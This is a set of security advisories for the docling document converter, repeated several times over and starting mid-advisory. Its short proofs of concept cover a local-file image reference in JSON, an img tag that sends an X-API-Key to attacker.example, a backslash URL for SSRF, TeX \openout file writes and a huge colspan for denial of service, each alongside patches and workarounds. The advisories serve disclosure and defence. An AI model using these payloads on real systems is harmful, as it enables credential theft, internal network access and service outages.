• ImageRef.pil_image checks allow_image_file_uri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept

from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size

doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
                               uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.load_from_json) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

• Remove InputFormat.JSON_DOCLING from allowed_formats when converting untrusted input.
• Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

• The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
• The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
• In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

• validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
• docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

• Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
• Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

• \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
• \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

• Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
• Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:

• TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
• Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikz_engine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

• Do not enable tikz_engine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
• Never set tikz_engine_allow_shell_escape=True for untrusted input.

Summary

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

Details

• docling/backend/html_backend.py (_get_cell_spans) parses span attributes with no upper limit. The cell-filling loop then iterates row_span × col_span times.
• docling/backend/jats_backend.py and docling/backend/boxnote_backend.py fill their tables the same way.
• The OpenDocument spreadsheet path scans the declared span range.
• Export (for example export_to_markdown()) materialises the full grid through TableData.grid in docling-core.

document_timeout does not bound this. It is checked between pipeline stages, and these backends convert the whole document in a single call. max_file_size and max_num_pages do not help because the payload is tiny.

Measured on 2.130.0: a 54-byte HTML file with rowspan="1e8" takes about 4.4 s of CPU, and the time grows linearly with the value. A 52-byte file with colspan="3000000" takes about 23 s and reaches 4.5 GB peak memory during Markdown export.

Impact

Denial of service of the converting process from a very small input document. Confidentiality and integrity are not affected.

Proof of concept

<table><tr><td colspan="3000000">x</td></tr></table>

from docling.document_converter import DocumentConverter
DocumentConverter().convert("span.html").document.export_to_markdown()

Patches

Fixed in docling 2.131.0 by #4414. Table spans are clamped to the HTML limits (colspan 1000, rowspan 65534) and to the actual size of the table in the HTML, JATS, BoxNote and OpenDocument spreadsheet backends, so conversion time and memory grow with the real table only.

Workarounds

Upgrade to 2.131.0. For older versions:

Run conversions of untrusted documents in a separate process with memory and CPU-time limits, or restrict allowed_formats to formats that are not affected.

Summary

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

Details

In docling/models/factories/base_factory.py, load_from_plugins() loads all entry points first and applies the allow_external_plugins check only to the already-imported modules. The CLI creates these factories when it starts, so running docling imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.

Affected configurations

Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on allow_external_plugins=False to keep that code from running.

Impact

Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of allow_external_plugins=False.

Patches

Fixed in docling 2.131.0 by #4413. Plugin entry points are now filtered by module name before they are loaded, so with allow_external_plugins=False third-party plugin modules are no longer imported.

Workarounds

Upgrade to 2.131.0. For older versions:

Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with importlib.metadata.entry_points().

Summary

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

Details

docling/datamodel/document.py (format detection) and docling/backend/mets_gbs_backend.py both iterate tar.getmembers() and count members inside the loop. getmembers() reads every header up front.

Measured on Python 3.12: an archive of 1,000,000 empty members compresses to about 6.2 MB and makes getmembers() hold about 408 MB (about 66 times the input size). Format detection runs for any application/gzip input before allowed_formats is applied, so the allocation happens even when METS-GBS is not an allowed format.

This check was introduced by the fix for CVE-2026-44018 (GHSA-r3xg-rg9j-67fv) in 2.91.0. The eager enumeration it relies on has been there since METS-GBS detection was added in 2.45.0.

Impact

Memory exhaustion of the converting process, proportional to the size of the input archive. Confidentiality and integrity are not affected.

Patches

Fixed in docling 2.131.0 by #4412. Format detection and the METS-GBS backend now read archive members one at a time and stop as soon as max_member_count is exceeded, including when looking up page files.

Workarounds

Upgrade to 2.131.0. For older versions:

Reject gzip or tar inputs before they reach docling when METS-GBS support is not needed, and run conversions of untrusted input with memory limits.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.83.0 until 2.131.0, the KServeV2OcrModel class defined in docling/models/stages/ocr/kserve_v2_ocr_model.py sends page images to its configured endpoint without checking the pipeline_options.enable_remote_services setting, even when the caller sets that policy control to false. The StandardPdfPipeline._make_ocr_model method also fails to pass the flag into the OCR factory, allowing remote OCR processing in configurations that rely on remote services being disabled. The destination is configured by the caller rather than selected by an attacker. This issue is fixed in 2.131.0.

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/docling_json_backend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

• DoclingDocument._with_embedded_pictures opens file:// and plain-path URIs with PIL.
• ImageRef.pil_image checks allow_image_file_uri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept

from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size

doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
                               uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.load_from_json) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

• Remove InputFormat.JSON_DOCLING from allowed_formats when converting untrusted input.
• Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

• The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
• The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
• In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

• validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
• docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

• Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
• Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

• \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
• \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

• Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
• Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:

• TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
• Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikz_engine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

• Do not enable tikz_engine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
• Never set tikz_engine_allow_shell_escape=True for untrusted input.

Summary

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

Details

• docling/backend/html_backend.py (_get_cell_spans) parses span attributes with no upper limit. The cell-filling loop then iterates row_span × col_span times.
• docling/backend/jats_backend.py and docling/backend/boxnote_backend.py fill their tables the same way.
• The OpenDocument spreadsheet path scans the declared span range.
• Export (for example export_to_markdown()) materialises the full grid through TableData.grid in docling-core.

document_timeout does not bound this. It is checked between pipeline stages, and these backends convert the whole document in a single call. max_file_size and max_num_pages do not help because the payload is tiny.

Measured on 2.130.0: a 54-byte HTML file with rowspan="1e8" takes about 4.4 s of CPU, and the time grows linearly with the value. A 52-byte file with colspan="3000000" takes about 23 s and reaches 4.5 GB peak memory during Markdown export.

Impact

Denial of service of the converting process from a very small input document. Confidentiality and integrity are not affected.

Proof of concept

<table><tr><td colspan="3000000">x</td></tr></table>

from docling.document_converter import DocumentConverter
DocumentConverter().convert("span.html").document.export_to_markdown()

Patches

Fixed in docling 2.131.0 by #4414. Table spans are clamped to the HTML limits (colspan 1000, rowspan 65534) and to the actual size of the table in the HTML, JATS, BoxNote and OpenDocument spreadsheet backends, so conversion time and memory grow with the real table only.

Workarounds

Upgrade to 2.131.0. For older versions:

Run conversions of untrusted documents in a separate process with memory and CPU-time limits, or restrict allowed_formats to formats that are not affected.

Summary

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

Details

In docling/models/factories/base_factory.py, load_from_plugins() loads all entry points first and applies the allow_external_plugins check only to the already-imported modules. The CLI creates these factories when it starts, so running docling imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.

Affected configurations

Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on allow_external_plugins=False to keep that code from running.

Impact

Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of allow_external_plugins=False.

Patches

Fixed in docling 2.131.0 by #4413. Plugin entry points are now filtered by module name before they are loaded, so with allow_external_plugins=False third-party plugin modules are no longer imported.

Workarounds

Upgrade to 2.131.0. For older versions:

Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with importlib.metadata.entry_points().

Summary

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

Details

docling/datamodel/document.py (format detection) and docling/backend/mets_gbs_backend.py both iterate tar.getmembers() and count members inside the loop. getmembers() reads every header up front.

Measured on Python 3.12: an archive of 1,000,000 empty members compresses to about 6.2 MB and makes getmembers() hold about 408 MB (about 66 times the input size). Format detection runs for any application/gzip input before allowed_formats is applied, so the allocation happens even when METS-GBS is not an allowed format.

This check was introduced by the fix for CVE-2026-44018 (GHSA-r3xg-rg9j-67fv) in 2.91.0. The eager enumeration it relies on has been there since METS-GBS detection was added in 2.45.0.

Impact

Memory exhaustion of the converting process, proportional to the size of the input archive. Confidentiality and integrity are not affected.

Patches

Fixed in docling 2.131.0 by #4412. Format detection and the METS-GBS backend now read archive members one at a time and stop as soon as max_member_count is exceeded, including when looking up page files.

Workarounds

Upgrade to 2.131.0. For older versions:

Reject gzip or tar inputs before they reach docling when METS-GBS support is not needed, and run conversions of untrusted input with memory limits.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.83.0 until 2.131.0, the KServeV2OcrModel class defined in docling/models/stages/ocr/kserve_v2_ocr_model.py sends page images to its configured endpoint without checking the pipeline_options.enable_remote_services setting, even when the caller sets that policy control to false. The StandardPdfPipeline._make_ocr_model method also fails to pass the flag into the OCR factory, allowing remote OCR processing in configurations that rely on remote services being disabled. The destination is configured by the caller rather than selected by an attacker. This issue is fixed in 2.131.0.

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/docling_json_backend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

• DoclingDocument._with_embedded_pictures opens file:// and plain-path URIs with PIL.
• ImageRef.pil_image checks allow_image_file_uri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept

from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size

doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
                               uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.load_from_json) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

• Remove InputFormat.JSON_DOCLING from allowed_formats when converting untrusted input.
• Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

• The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
• The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
• In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

• validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
• docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

• Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
• Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

• \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
• \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

• Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
• Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:
